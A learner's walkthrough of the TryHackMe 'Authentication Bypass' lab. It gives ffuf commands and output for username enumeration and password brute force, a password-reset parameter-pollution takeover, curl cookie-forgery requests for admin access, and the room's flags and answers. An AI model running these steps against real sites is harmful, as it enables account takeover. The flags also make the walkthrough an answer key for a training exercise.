TryHackMe - Authentication Bypass

Task 1 - Brief

Spin up the machine

Task 2 - Username Enumeration

the task wants us to do username enumeration, so we need to use endpoint which reveals whether the user provided is a valid user or not since contact endpoint already has a signup option, we can use ffuf for enumerating a dict for valid users we can now look for response like “username already exists” revealing if the username exists

❯ ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE-IP/customers/signup -mr "username already exists"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://MACHINE-IP/customers/signup
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&email=x&password=x&cpassword=x
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: username already exists
________________________________________________

admin                   [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 74ms]
robert                  [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 97ms]
simon                   [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 74ms]
steve                   [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 78ms]
:: Progress: [10735/10735] :: Job [1/1] :: 539 req/sec :: Duration: [0:00:22] :: Errors: 0 ::

3 usernames other than admin

What is the username starting with si*** ?

simon

What is the username starting with st*** ?

steve

What is the username starting with ro** ?

robert

Task 3 - Brute Force

Now the question asks valid username and password, we can easily bruteforce the password using wordlists for the valid usernames we found

❯ ffuf -w valid.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE-IP/customers/login -fc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://MACHINE-IP/customers/login
 :: Wordlist         : W1: /home/nicetrykiddo/data/JrPenetrationTester/authenticationbypass/valid.txt
 :: Wordlist         : W2: /usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=W1&password=W2
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 200
________________________________________________

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 116ms]
    * W1: steve
    * W2: thunder

:: Progress: [40000/40000] :: Job [1/1] :: 477 req/sec :: Duration: [0:01:20] :: Errors: 0 ::

What is the valid username and password (format: username/password)? steve/thunder

Task 4 - Logic Flaw

okay so here we have to gain access to robert’s account first we we start looking for logic flaws from the start of the application (i.e., Login panel) lets look at reset password, so we have a parameter in the url and a post body containing username lets try parameter pollution with email to send ourself the reset link so I have created a new account test@customer.acmeitsupport.thm

now we can visit reset link from our test account’s support http://MACHINE-IP/customers/tickets and thus the flag Please don't tell anyone this! THM{AUTH_BYPASS_COMPLETE}

What is the flag from Robert’s support ticket?

THM{AUTH_BYPASS_COMPLETE}

Task 5 - Cookie Tampering

So now we can try some priv esc to admin using cookie tampering we can use this http://MACHINE-IP/cookie-test this url for cookie tampering

❯ curl http://MACHINE-IP/cookie-test
Not Logged In

direct curl says no session found

-H "Cookie: logged_in=true"
Logged In As A User

we see a session, and an admin cookie parameter which is set to false in or webpage which can be easily seen via cookie editor or Storage -> Cookies option in Firefox now we can try to set admin as true for cookie test endpoint

❯ curl http://MACHINE-IP/cookie-test -H "Cookie: logged_in=true; admin=true"
Logged In As An Admin - THM{COOKIE_TAMPERING}

What is the flag from changing the plain text cookie values?

THM{COOKIE_TAMPERING}

What is the value of the md5 hash 3b2a1053e3270077456a79192070aa78 ?

from crackstation

| Hash | Type | Result | | ——————————– | —- | —— | | 3b2a1053e3270077456a79192070aa78 | md5 | 463729 | 463729

What is the base64 decoded value of VEhNe0JBU0U2NF9FTkNPRElOR30= ?

❯ printf "VEhNe0JBU0U2NF9FTkNPRElOR30=" | base64 --decode
THM{BASE64_ENCODING}

Encode the following value using base64 {“id”:1,”admin”:true}

❯ printf '{"id":1,"admin":true}' | base64
eyJpZCI6MSwiYWRtaW4iOnRydWV9

eyJpZCI6MSwiYWRtaW4iOnRydWV9